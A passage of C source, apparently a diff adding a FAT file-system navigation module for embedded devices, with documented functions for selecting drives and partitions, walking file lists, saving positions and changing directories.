FSFEATURE_WRITE)) +//! Holds the current ID transfer used by the internal copy-paste routines + _MEM_TYPE_SLOW_ uint8_t g_id_trans_memtomem = ID_STREAM_ERR; +#endif + +#if (FS_NB_NAVIGATOR > 1) +//! Holds the current navigator selected + _MEM_TYPE_SLOW_ uint8_t fs_g_u8_nav_selected; +#endif + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + _MEM_TYPE_SLOW_ Fs_file_segment g_segment_src; + _MEM_TYPE_SLOW_ Fs_file_segment g_segment_dest; +#endif + +#define SIZE_OF_SPLIT_COPY ((1*1024*1024L)/512L) // 1MB - Unit sector (max = 0xFFFF) + + +//_____ D E C L A R A T I O N S ____________________________________________ + +//********************************************************************** +//************************ String format select ************************ +#if( (FS_ASCII == ENABLED) && (FS_UNICODE == ENABLED)) +//! This function selects the UNICODE mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! If you have enabled the FS_ASCII AND FS_UNICODE define +//! then FS_STRING parameter can be a ASCII or UNICODE string. +//! @endverbatim +//! +void nav_string_unicode( void ) +{ + g_b_unicode = true; +} +//! This function selects the ASCII mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! If you have enabled the FS_ASCII AND FS_UNICODE define +//! then FS_STRING parameter can be a ASCII or UNICODE string. +//! @endverbatim +//! +void nav_string_ascii( void ) +{ + g_b_unicode = false; +} +#endif + +//! This function selects the LENGTH string mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! In LENGTH string mode when you call a routine with FS_STRING parameter +//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array. +//! @endverbatim +//! +void nav_string_length_enable( void ) +{ + g_b_string_length = true; +} +//! This function deselects the LENGTH string mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! In LENGTH string mode when you call a routine with FS_STRING parameter +//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array. +//! @endverbatim +//! +void nav_string_length_disable( void ) +{ + g_b_string_length = false; +} + +//********************************************************************** +//********************** To optimize speed access ********************** + +//! This function disables the disk check before each actions on disk +//! +//! @verbatim +//! By default, between each read/write access a check disk (test unit ready) is sended at device. +//! This check can reduce the speed access on specific disk. +//! @endverbatim +//! +void nav_checkdisk_disable( void ) +{ + g_b_no_check_disk = true; +} + +//! This function enables the disk check before each actions on disk +//! +//! @verbatim +//! By default, between each read/write access a check disk (test unit ready) is sended at device. +//! This check can reduce the speed access on specific disk. +//! @endverbatim +//! +void nav_checkdisk_enable( void ) +{ + g_b_no_check_disk = false; +} + + +//********************************************************************** +//************** Initialise or Stop navigation module ****************** + + +//! This function resets ALL navigations to init file system core +//! +//! @verbatim +//! Call this at the program startup or before a new session (e.g. USB Device exit) +//! @endverbatim +//! +void nav_reset( void ) +{ +#if ( (FS_ASCII == ENABLED) && (FS_UNICODE == ENABLED)) + g_b_unicode = true; +#endif + g_b_string_length = false; + g_b_no_check_disk = false; + + fat_cache_reset(); + fat_cache_clusterlist_reset(); + +#if (FS_NB_NAVIGATOR > 1) + { + uint8_t i; + // Reset variables of each navigators + for( i=0 ; i!=FS_NB_NAVIGATOR ; i++ ) + { + nav_select(i); + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted + fs_g_nav.u8_lun = 0xFF; // By default don't select a drive +#if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // By default select the first partition +#endif + Fat_file_close(); // By default no file is opened + fs_g_nav.b_mode_nav_single = false; // By default display files and directories + } + // By default select the navigator 0 + fs_g_u8_nav_selected = 0; + } +#else + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted + fs_g_nav.u8_lun = 0xFF; // By default don't select a drive +# if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // By default select the first partition +# endif + Fat_file_close(); // By default no file is opened +#endif // (FS_NB_NAVIGATOR > 1) +} + + +//! This function flush ALL navigations before exit of file system core +//! +//! @verbatim +//! Call this at the program exit or before a USB Device session +//! @endverbatim +//! +void nav_exit( void ) +{ + // If you have opened files then close them +#if (FS_NB_NAVIGATOR > 1) + uint8_t u8_i; + for( u8_i=0; u8_i 1) + if( fs_g_u8_nav_selected != u8_idnav ) + { + fat_invert_nav( fs_g_u8_nav_selected ); // Deselect previous navigator = Select default navigator + fat_invert_nav( u8_idnav ); // Select new navigator + fs_g_u8_nav_selected = u8_idnav; + } +#endif + return true; +} + + +//! This function returns the navigation identifier used +//! +//! @return u8_idnav navigator identifier selected +//! +uint8_t nav_get( void ) +{ +#if (FS_NB_NAVIGATOR > 1) + return fs_g_u8_nav_selected; +#else + return 0; +#endif +} + + +//! This function copys the navigator information to another navigator +//! +//! @param u8_idnav navigator identifier where the main navigator will be copied +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Use this routine to select quickly the same file in another navigator +//! @endverbatim +//! +Bool nav_copy( uint8_t u8_idnav ) +{ +#if (FS_NB_NAVIGATOR > 1) + if( fs_g_u8_nav_selected == u8_idnav ) + return false; // It is the source and destination is the same navigator + if( 0 == u8_idnav ) + u8_idnav = fs_g_u8_nav_selected; // the default navigator is invert with the current navigator + if( 0 == u8_idnav) + return false; // It is the source and destination is the same navigator + fat_copy_nav( u8_idnav ); + return true; +#else + u8_idnav++; + return false; // Copy impossible because only one navigator is available +#endif +} + + +//********************************************************************** +//********************* Drive navigation functions ********************* + + +//! This function returns the number of devices availabled +//! +//! @return number of devices, 0 = NO DEVICE AVAILABLED +//! +//! @verbatim +//! This value may be dynamic because it depends of memory drivers (e.g. Mass Storage disk on USB host mode) +//! @endverbatim +//! +uint8_t nav_drive_nb( void ) +{ + return get_nb_lun(); // Number of devices = Number of lun +} + + +//! This function selects a drive in navigator but don't mount the disk partition +//! +//! @param u8_number device number (0 to nav_drive_nb()-1 ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_drive_set( uint8_t u8_number ) +{ + if ( !fat_check_noopen() ) + return false; + + if (u8_number >= get_nb_lun() ) + { + fs_g_status = FS_ERR_END_OF_DRIVE; // The drive number is bad + return false; + } + + if ( fs_g_nav.u8_lun == u8_number) + return true; // It is the same drive number + + // Go to the device + fs_g_nav.u8_lun = u8_number; + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; +#if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // by default select the first partition +#endif + return true; +} + + +//! This function returns the selected drive number +//! +//! @return 0 to nav_drive_nb()-1 +//! @return 0xFF in case of no drive selected +//! +uint8_t nav_drive_get( void ) +{ +#if (FS_MULTI_PARTITION == ENABLED) + if(0xFF == fs_g_nav.u8_lun) + return 0xFF; + return ((fs_g_nav.u8_lun*4) + fs_g_nav.u8_partition); // Maximum 4 partitions per device +#else + return (fs_g_nav.u8_lun); +#endif +} + + +//! This function returns the selected drive letter +//! +//! @return 'A','B',... +//! @return 'X', in case of no drive selected +//! +uint8_t nav_drive_getname( void ) +{ + if(0xFF == fs_g_nav.u8_lun) + return 'X'; +#if (FS_MULTI_PARTITION == ENABLED) + return ('A' + (fs_g_nav.u8_lun*4) + fs_g_nav.u8_partition); // Maximum 4 partitions per device +#else + return ('A' + fs_g_nav.u8_lun); +#endif +} + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function formats the current drive (=disk) +//! +//! @param u8_fat_type Select the format type
+//! FS_FORMAT_DEFAULT, The system chooses the better FAT format
+//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB)
+//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB)
+//! FS_FORMAT_NOMBR_FLAG, if you don't want a MRB on the disk then add this flag (e.g. specific partition structure on a CD support) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! WARNING: This routine can't format a multi-partiton, if the disk contains a multi-partition +//! then this one is erased and replaced by a single partition on ALL disk space. +//! @endverbatim +//! +Bool nav_drive_format( uint8_t u8_fat_type ) +{ + if ( !fat_check_noopen() ) + return false; + if ( !fat_check_nav_access_disk() ) + return false; + if ( !fat_format( u8_fat_type ) ) + return false; + return fat_mount(); +} +#endif // FS_LEVEL_FEATURES + + +//********************************************************************** +//******************* Partition navigation functions ******************* + + +#if (FS_MULTI_PARTITION == ENABLED) +//! This function returns the number of partitions present on drive +//! +//! @return u8_number number of partitions +//! +uint8_t nav_partition_nb( void ) +{ + return fat_get_nbpartition(); +} + + +//! This function selects a partition on drive +//! +//! @param partition_number partition number (0 to 3) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_set( uint8_t partition_number ) +{ + if ( fs_g_nav.u8_partition == partition_number) + return true; // It is the same + + if ( !fat_check_noopen() ) + return false; + + // Go to partition + fs_g_nav.u8_partition = partition_number; + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; + return true; +} +#endif + + +//! This function mounts the selected partition +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If the FS_MULTI_PARTITION option is disabled +//! then the mount routine selects the first partition supported by file system.
+//! After mount, the file list contains files and directories of ROOT directory +//! @endverbatim +//! +Bool nav_partition_mount( void ) +{ + if ( !fat_check_noopen() ) + return false; + + if( FS_TYPE_FAT_UNM != fs_g_nav_fast.u8_type_fat) + { + // Already mounted + // Go to root directory + fs_g_nav.u32_cluster_sel_dir = 0; + // No file is selected by default + fat_clear_entry_info_and_ptr(); + return true; + } + + return fat_mount(); +} + + +//! This function gives the partition type +//! +//! @return partition type: FS_TYPE_FAT_12, FS_TYPE_FAT_16, FS_TYPE_FAT_32 +//! @return FS_TYPE_FAT_UNM, in case of error or unknow format +//! +uint8_t nav_partition_type( void ) +{ + fat_check_device(); + if( FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + { + nav_partition_mount(); + } + return fs_g_nav_fast.u8_type_fat; +} + + +//! This function reads or writes the serial number on the selected partition +//! +//! @param b_action to select the action
+//! FS_SN_READ to read serial number
+//! FS_SN_WRITE to write serial number
+//! @param a_u8_sn pointer on an array (4 bytes)
+//! if FS_SN_READ, then the array is used to store the serial number
+//! if FS_SN_WRITE, then the array is used to give the new serial number
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_serialnumber( Bool b_action , uint8_t _MEM_TYPE_SLOW_ *a_u8_sn ) +{ + if( !fat_check_mount()) + return false; + + return fat_serialnumber( b_action , a_u8_sn ); +} + + +//! This function reads or writes the label of selected partition +//! +//! @param b_action to select the action
+//! FS_LABEL_READ to read label
+//! FS_LABEL_WRITE to write label
+//! @param sz_label pointer on a ASCII string (11 chars + NULL terminator =12 bytes)
+//! if FS_LABEL_READ, then the string is used to store label
+//! if FS_LABEL_WRITE, then the string is used to give the new label
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_label( Bool b_action , FS_STRING sz_label ) +{ + _MEM_TYPE_SLOW_ Fs_index index; + Bool status = true; + + index = nav_getindex(); // Save current position + + // Go to root dir + if( nav_dir_root()) + { + // Find field label + fs_g_nav_fast.u16_entry_pos_sel_file = 0; // Go to first entry + while( 1 ) + { + if ( !fat_read_dir()) + { + status = false; + break; // error + } + if( fat_entry_label( FS_LABEL_READ , NULL ) ) + break; + if( FS_ERR_ENTRY_EMPTY == fs_g_status ) + break; + fs_g_nav_fast.u16_entry_pos_sel_file++; + } + if( true == status ) + { + // Find OK + if( FS_LABEL_READ == b_action ) + { + // Read field label + if( !fat_entry_label( FS_LABEL_READ , sz_label ) ) + sz_label[0]=0; // empty name + }else{ + // Change field label + status = fat_entry_label( FS_LABEL_WRITE , sz_label ); + } + } + } + nav_gotoindex( &index ); // Restore the position + return status; +} + + +//! This function returns partition total space +//! +//! @return number of sectors +//! @return 0, in case of error +//! +//! @verbatim +//! You shall mounted the partition before call this routine +//! @endverbatim +//! +uint32_t nav_partition_space( void ) +{ + fat_check_device(); + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + return 0; + return (fs_g_nav.u32_CountofCluster * fs_g_nav.u8_BPB_SecPerClus); +} + + +//! This function returns the partition cluster size +//! +//! @return cluster size (unit sector) +//! +uint8_t nav_partition_cluster_size( void ) +{ + return fs_g_nav.u8_BPB_SecPerClus; +} + +//! This function returns the partition free space +//! +//! @return number of free sectors +//! @return 0 in case of error or full partition +//! +//! @verbatim +//! You shall mounted the partition before call this routine +//! @endverbatim +//! +uint32_t nav_partition_freespace( void ) +{ + fat_check_device(); + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + return 0; + return fat_getfreespace(); +} + + +//! This function returns the partition space free in percent +//! +//! @return percent of free space (0% to 100%) +//! @return 0% in case of error or full partition +//! +//! @verbatim +//! To speed up the compute, the resultat have an error delta of 1% +//! @endverbatim +//! +uint8_t nav_partition_freespace_percent( void ) +{ + fat_check_device(); + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + return 0; + return fat_getfreespace_percent(); +} + + +//********************************************************************** +//****************** File list navigation functions ******************** + + +//! To display in File List only the files OR directories +//! +//! @param b_type FS_DIR to display only directories presence
+//! FS_FILE to dispaly only files presence
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_single_enable( Bool b_type ) +{ + if ( !nav_filelist_reset()) + return false; + + fs_g_nav.b_mode_nav_single = true; + fs_g_nav.b_mode_nav = b_type; + return true; +} + + +//! To display in File List the directories AND files +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_single_disable( void ) +{ + fs_g_nav.b_mode_nav_single = false; + return nav_filelist_reset(); +} + + +//! This function resets the selection pointer, so "no file selected" in file list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_reset( void ) +{ + if ( !fat_check_mount_noopen()) + return false; + + // No file selected and reset navigation + fat_clear_entry_info_and_ptr(); + return true; +} + + +//! This function checks if a file is selected +//! +//! @return true if a file is selected +//! @return false if no file is selected +//! +Bool nav_filelist_validpos( void ) +{ + return fat_check_mount_select_noopen(); +} + + +//! This function checks if no file is open +//! +//! @return true if no file is open +//! @return false if a file is open +//! +Bool nav_filelist_fileisnotopen( void ) +{ + return fat_check_noopen(); +} + + +//! This function moves the selection pointer in file list +//! +//! @param u16_nb numbers of file to jump before stopping action
+//! 0, stop at the first file found
+//! 1, stop at the second file found
+//! +//! @param b_direction search direction
+//! FS_FIND_NEXT, move to next file or directory +//! FS_FIND_PREV, move to previous file or directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Note: if no file is selected then nav_filelist_set( 0 , FS_NEXT ) goes to the first entry of the file list. +//! @endverbatim +//! +Bool nav_filelist_set( uint16_t u16_nb , Bool b_direction ) +{ + uint16_t u16_ptr_save_entry; + uint16_t u16_save_pos_sel_file; + Bool b_save_entry_type; + Bool b_find_last_entry = false; + + if ( !fat_check_mount_noopen()) + return false; + + // Save the current selection + u16_ptr_save_entry = fs_g_nav_fast.u16_entry_pos_sel_file; + u16_save_pos_sel_file = fs_g_nav.u16_pos_sel_file; + b_save_entry_type = fs_g_nav.b_mode_nav; + + // Loop in directory + while( 1 ) + { + if(( FS_FIND_NEXT == b_direction ) + || ( b_find_last_entry ) ) + { + if ( FS_END_FIND == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + // Too many files in directory (case impossible) + fs_g_status = FS_ERR_FS; + break; + } + fs_g_nav_fast.u16_entry_pos_sel_file++; // Update entry position + } + else + { + if ( FS_NO_SEL == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + // No selected file then previous action impossible + fs_g_status = FS_ERR_NO_FIND; + break; + } + if ( 0 == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + // beginning of directory + if ( (FS_DIR == fs_g_nav.b_mode_nav ) || fs_g_nav.b_mode_nav_single ) + { + // End of directory scan, then no previous action possible + fs_g_status = FS_ERR_NO_FIND; + break; + } + // End of file scan, then find last directory + b_find_last_entry = true; + }else{ + fs_g_nav_fast.u16_entry_pos_sel_file--; // Update entry position + } + } + + if( !fat_read_dir()) + { + if( FS_ERR_OUT_LIST != fs_g_status ) + break; // Error + }else{ + if ( fat_entry_check( fs_g_nav.b_mode_nav ) ) + { + // HERE, the file entry match with the type seached + + if( b_find_last_entry ) + continue; // The search of last directory is on going then continue the search + + // Update position in directory + if ( FS_FIND_NEXT == b_direction ) + fs_g_nav.u16_pos_sel_file++; + else + fs_g_nav.u16_pos_sel_file--; + + if (0 == u16_nb) + { + // It is the end of move then update file information + fat_get_entry_info(); + return true; // NB FILE FIND + } + u16_nb--; + continue; + } + } + + // Here error, check type of error + if(( FS_ERR_ENTRY_EMPTY == fs_g_status ) + || ( FS_ERR_OUT_LIST == fs_g_status ) ) + { + // Here, end of the directory + if( b_find_last_entry ) + { + // Re enable the previous command at the end of directory to find the last directory entry + b_find_last_entry = false; + fs_g_nav.b_mode_nav = FS_DIR; + continue; + } + // Here, a next action is on going + if ( (FS_FILE == fs_g_nav.b_mode_nav) || fs_g_nav.b_mode_nav_single ) + { + // End of next file action then end of next action + fs_g_status = FS_ERR_NO_FIND; // No file found + break; // end of search + }else{ + // End of next dir action then starts the next file action at the beginning of directory + fs_g_nav_fast.u16_entry_pos_sel_file = 0xFFFF; + fs_g_nav.b_mode_nav = FS_FILE; + } + } + } // end of loop while(1) + + fs_g_nav.b_mode_nav = b_save_entry_type; + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; + fs_g_nav.u16_pos_sel_file = u16_save_pos_sel_file; + return false; +} + + +//! This function returns the position of selected file in file list +//! +//! @return position of selected file (0 is the first position) +//! @return FS_NO_SEL, in case of no file selected +//! +uint16_t nav_filelist_get( void ) +{ + return fs_g_nav.u16_pos_sel_file; +} + + +//! This function goes at a position in file list +//! +//! @param u16_newpos new position to select (0 is the first position) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_goto( uint16_t u16_newpos ) +{ + uint16_t u16_current_pos; + + if( FS_NO_SEL == u16_newpos ) + return nav_filelist_reset(); + + u16_current_pos = nav_filelist_get(); + if( u16_newpos < (u16_current_pos/2) ) + { + // Restart at the beginning of list to accelerate the search + if( !nav_filelist_reset() ) + return false; + u16_current_pos = FS_NO_SEL; + } + if (FS_NO_SEL == u16_current_pos) + { + return nav_filelist_set( u16_newpos, FS_FIND_NEXT ); + } + else + { + if (u16_newpos < u16_current_pos) + { + return nav_filelist_set( u16_current_pos -u16_newpos -1 , FS_FIND_PREV ); + } + if (u16_newpos > u16_current_pos) + { + return nav_filelist_set( u16_newpos -u16_current_pos - 1 , FS_FIND_NEXT ); + } + } + return true; +} + + +//! This function searchs a file name in file list +//! +//! @param sz_name name to search (UNICODE or ASCII)
+//! It must be terminate by NULL or '*' value +//! @param b_match_case false to ignore the case +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This function starts a search at the next position of the current in file list +//! @endverbatim +//! +Bool nav_filelist_findname( const FS_STRING sz_name , Bool b_match_case ) +{ + while( 1 ) + { + if ( !nav_filelist_set( 0, FS_FIND_NEXT )) + return false; + if ( nav_file_name( sz_name , 0 , FS_NAME_CHECK , b_match_case )) + return true; + } +} + + +//! This function checks the end of file list +//! +//! @return false, NO end of file list +//! @return true, in case of end of list or error +//! +Bool nav_filelist_eol( void ) +{ + if( false == nav_filelist_set( 0 , FS_FIND_NEXT ) ) + return true; // End of list or error (remark: the position haven't changed) + + if( 0 != fs_g_nav.u16_pos_sel_file ) + { + // Go to previous position + nav_filelist_set( 0 , FS_FIND_PREV ); + }else{ + // No select file before, then reset position + fs_g_nav_fast.u16_entry_pos_sel_file= FS_NO_SEL; + fs_g_nav.u16_pos_sel_file = FS_NO_SEL; + fs_g_nav.b_mode_nav = FS_DIR; + } + return false; +} + + +//! This function checks the beginning of file list +//! +//! @return false, it is not the beginning of file list +//! @return true, in case of the file selected is the first file, or in case of error +//! +Bool nav_filelist_bol( void ) +{ + if( false == nav_filelist_set( 0 , FS_FIND_PREV ) ) + return true; // End of list or error (remark: the position haven't changed) + // Go to previous position + nav_filelist_set( 0 , FS_FIND_NEXT ); + return false; +} + + +//! This function checks the presence of files or directories in file list +//! +//! @param b_type FS_DIR to check the directory presence
+//! FS_FILE to check the file presence
+//! +//! @return true, in case of a file or a directory exists +//! @return false, in case of no file or no directory exists, or error +//! +Bool nav_filelist_exist( Bool b_type ) +{ + Bool status; + uint16_t u16_save_position; + + // Save current position + u16_save_position = fs_g_nav.u16_pos_sel_file; + // Go to first file or directory + status = nav_filelist_first( b_type ); + // Restore previous position + nav_filelist_reset(); + if ( u16_save_position != FS_NO_SEL ) + { + nav_filelist_set( u16_save_position , FS_FIND_NEXT ); + } + return status; +} + + +//! This function computes the number of files or directories in file list +//! +//! @param b_type FS_DIR to compute the number of directories
+//! FS_FILE to compute the number of files
+//! +//! @return number of files or directories in file list +//! +uint16_t nav_filelist_nb( Bool b_type ) +{ + uint16_t u16_save_position; + uint16_t u16_save_number_dir; + uint16_t u16_save_number_file; + + // Save current position + u16_save_position = fs_g_nav.u16_pos_sel_file; + // Reset position + if ( !nav_filelist_reset()) + return 0; + // Scan all directory + u16_save_number_dir = 0; + u16_save_number_file = 0; + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + if( FS_FILE == fs_g_nav.b_mode_nav ) + u16_save_number_file++; // It is a file + else + u16_save_number_dir++; // It is a directory + } + // Restore previous position + nav_filelist_reset(); + if ( u16_save_position != FS_NO_SEL ) + { + nav_filelist_set( u16_save_position , FS_FIND_NEXT ); + } + // Return the value asked + if( FS_FILE == b_type ) + return u16_save_number_file; + else + return u16_save_number_dir; +} + + +//! This function goes to at the first file or directory in file list +//! +//! @param b_type FS_DIR to go at the first directory
+//! FS_FILE to go at the first file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_first( Bool b_type ) +{ + // Reset position + if ( !nav_filelist_reset()) + return false; + // Find the first file or directory + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + if( b_type == fs_g_nav.b_mode_nav ) + return true; // First file or directory found + } + fs_g_status = FS_ERR_NO_FIND; + return false; +} + + +//! This function goes to at the last file or directory in file list +//! +//! @param b_type FS_DIR to go at the last directory
+//! FS_FILE to go at the last file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_last( Bool b_type ) +{ + uint16_t u16_nb; + + // Get number of file or directory + u16_nb = nav_filelist_nb( b_type ); + if( 0 == u16_nb ) + { + fs_g_status = FS_ERR_NO_FIND; + return false; // NO FILE FOUND + } + // Go to the first file or directory + if ( !nav_filelist_first( b_type )) + return false; + // If there are more one file or directory, then go to at the last of list + if( 1 == u16_nb ) + return true; + u16_nb -= 2; + return nav_filelist_set( u16_nb , FS_FIND_NEXT ); +} + + +//********************************************************************** +//************************ Index functions ***************************** + + +//! This function returns a small index on the selected file +//! +//! @return It is a small index structure with information on selected file (disk, partition, dir, file/dir selected) +//! +//! @verbatim +//! This routine is interresting to save a file position in small variable. +//! This pointer allow to reinit a navigator quickly with nav_gotoindex() routine. +//! @endverbatim +//! +Fs_index nav_getindex( void ) +{ + Fs_index index; + + // Fill index structure + index.u8_lun = fs_g_nav.u8_lun; +#if (FS_MULTI_PARTITION == ENABLED) + index.u8_partition = fs_g_nav.u8_partition; +#endif + index.u32_cluster_sel_dir = fs_g_nav.u32_cluster_sel_dir; + index.u16_entry_pos_sel_file = fs_g_nav_fast.u16_entry_pos_sel_file; + return index; +} + + +//! This function selects a file in the navigator via a file index +//! +//! @param index structure with information about file to select (disk, partition, dir, file/dir selected ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine allow to reinit a navigator quickly via a file index (disk, partition, dir, file/dir selected ) +//! To get a file index, you shall used the routine nav_getindex(). +//! @endverbatim +//! +Bool nav_gotoindex( const Fs_index _MEM_TYPE_SLOW_ *index ) +{ + // Select the drive and partition corresponding at file index + if( !nav_drive_set( index->u8_lun )) + return false; +#if (FS_MULTI_PARTITION == ENABLED) + if( !nav_partition_set(index->u8_partition)) + return false; +#endif + if( !nav_partition_mount()) + return false; + + // Select the directory corresponding at file index + fs_g_nav.u32_cluster_sel_dir = index->u32_cluster_sel_dir; + + // Search the file position corresponding at file index + if ( !nav_filelist_reset()) + return false; + while( fs_g_nav_fast.u16_entry_pos_sel_file != index->u16_entry_pos_sel_file ) + { + if( !nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + nav_filelist_reset(); + return false; + } + } + return true; +} + + +//********************************************************************** +//************************ Directory functions ************************* + + +//! This function initializes the file list on the root directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_root( void ) +{ + return nav_partition_mount(); +} + + +//! This function check the current directory +//! +//! @return false the current directory selected is not the root directory +//! @return true the current directory selected is the root directory +//! +Bool nav_dir_is_root( void ) +{ + if (!fat_check_mount_noopen()) + return false; + + return (0 == fs_g_nav.u32_cluster_sel_dir); +} + + +//! This function enters in the selected directory in file list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After this routine the file list changes and contains the files and directories of the new directory. +//! By default no file is selected. +//! @endverbatim +//! +Bool nav_dir_cd( void ) +{ + if ( !fat_check_mount_select_noopen()) + return false; + + // The current selection, is it a directory ? + if ( !fat_entry_is_dir()) + return false; + + // Select the current directory + fs_g_nav.u16_entry_pos_sel_dir = fs_g_nav_fast.u16_entry_pos_sel_file; + fs_g_nav.u32_cluster_sel_dir = fs_g_nav_entry.u32_cluster; + + // Reset file list + if( false == nav_filelist_reset()) + return false; + return true; +} + + +//! This function goes to the parent directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After, the file list changes and contains the files and directories of the new directory. +//! By default, the file selected in file list is the previous (children) directory. +//! @endverbatim +//! +Bool nav_dir_gotoparent( void ) +{ + uint32_t u32_cluster_old_dir; + + if (!fat_check_mount_noopen()) + return false; + + if (0 == fs_g_nav.u32_cluster_sel_dir) + { + fs_g_status = FS_ERR_IS_ROOT; // There aren't parent + return false; + } + + // Select and read information about directory ".." + fs_g_nav_fast.u16_entry_pos_sel_file = 1; + if ( !fat_read_dir()) + return false; + fat_get_entry_info(); + // Save the children directory cluster + u32_cluster_old_dir = fs_g_nav.u32_cluster_sel_dir; + + // Select the parent directory via information present in the current directory ".." + fs_g_nav.u32_cluster_sel_dir = fs_g_nav_entry.u32_cluster; + + // Select the children directory in new directory (=parent directory) + if( false == nav_filelist_reset()) + return false; + if( fs_g_nav.b_mode_nav_single && (FS_DIR != fs_g_nav.b_mode_nav) ) + return true; + + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + if (fs_g_nav_entry.u32_cluster == u32_cluster_old_dir) + return true; // It is the children directory + } + fs_g_status = FS_ERR_FS; + return false; +} + + +//! This function returns the directory name corresponding at the file list +//! +//! @param sz_path string to store the name (ASCII or UNICODE ) +//! @param u8_size_max string size (unit ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_name( FS_STRING sz_path , uint8_t u8_size_max ) +{ + uint8_t u8_i, u8_character; + Bool status = false; + uint16_t save_u16_entry_pos_sel_file; + uint32_t save_u32_cluster_sel_dir; + uint8_t save_u8_attr ; + uint32_t save_u32_cluster ; + uint32_t save_u32_size ; + Bool b_mode_nav_single_save; + Bool b_mode_nav_mode_save; + + if ( !fat_check_mount_noopen()) + return false; + + if (0 != fs_g_nav.u32_cluster_sel_dir) + { + // Save context + save_u16_entry_pos_sel_file= fs_g_nav_fast.u16_entry_pos_sel_file; + save_u32_cluster_sel_dir = fs_g_nav.u32_cluster_sel_dir ; + save_u8_attr = fs_g_nav_entry.u8_attr ; + save_u32_cluster = fs_g_nav_entry.u32_cluster ; + save_u32_size = fs_g_nav_entry.u32_size ; + b_mode_nav_single_save = fs_g_nav.b_mode_nav_single; + b_mode_nav_mode_save = fs_g_nav.b_mode_nav; + fs_g_nav.b_mode_nav_single = true; + fs_g_nav.b_mode_nav = FS_FILE; + // Go to parent directory and select the children directory + if( !nav_dir_gotoparent() ) + { + fs_g_nav.b_mode_nav_single = b_mode_nav_single_save; + fs_g_nav.b_mode_nav = b_mode_nav_mode_save; + return false; + } + fs_g_nav.b_mode_nav_single = b_mode_nav_single_save ; + fs_g_nav.b_mode_nav = b_mode_nav_mode_save; + // Go to directory name position + fs_g_nav_fast.u16_entry_pos_sel_file = fs_g_nav.u16_entry_pos_sel_dir; + status = nav_file_name( sz_path , u8_size_max , FS_NAME_GET , false ); + // Restore previous context + fs_g_nav_fast.u16_entry_pos_sel_file= save_u16_entry_pos_sel_file; + fs_g_nav.u32_cluster_sel_dir = save_u32_cluster_sel_dir ; + fs_g_nav_entry.u8_attr = save_u8_attr ; + fs_g_nav_entry.u32_cluster = save_u32_cluster ; + fs_g_nav_entry.u32_size = save_u32_size ; + } + else + { + // No parent directory, then it is the root directory + if( g_b_string_length ) + { + ((FS_STR_UNICODE)sz_path )[0] = 3; // 3 chars for path "x:" + status = true; + }else + + // Create a device name + for( u8_i = 0 ; u8_i<3 ; 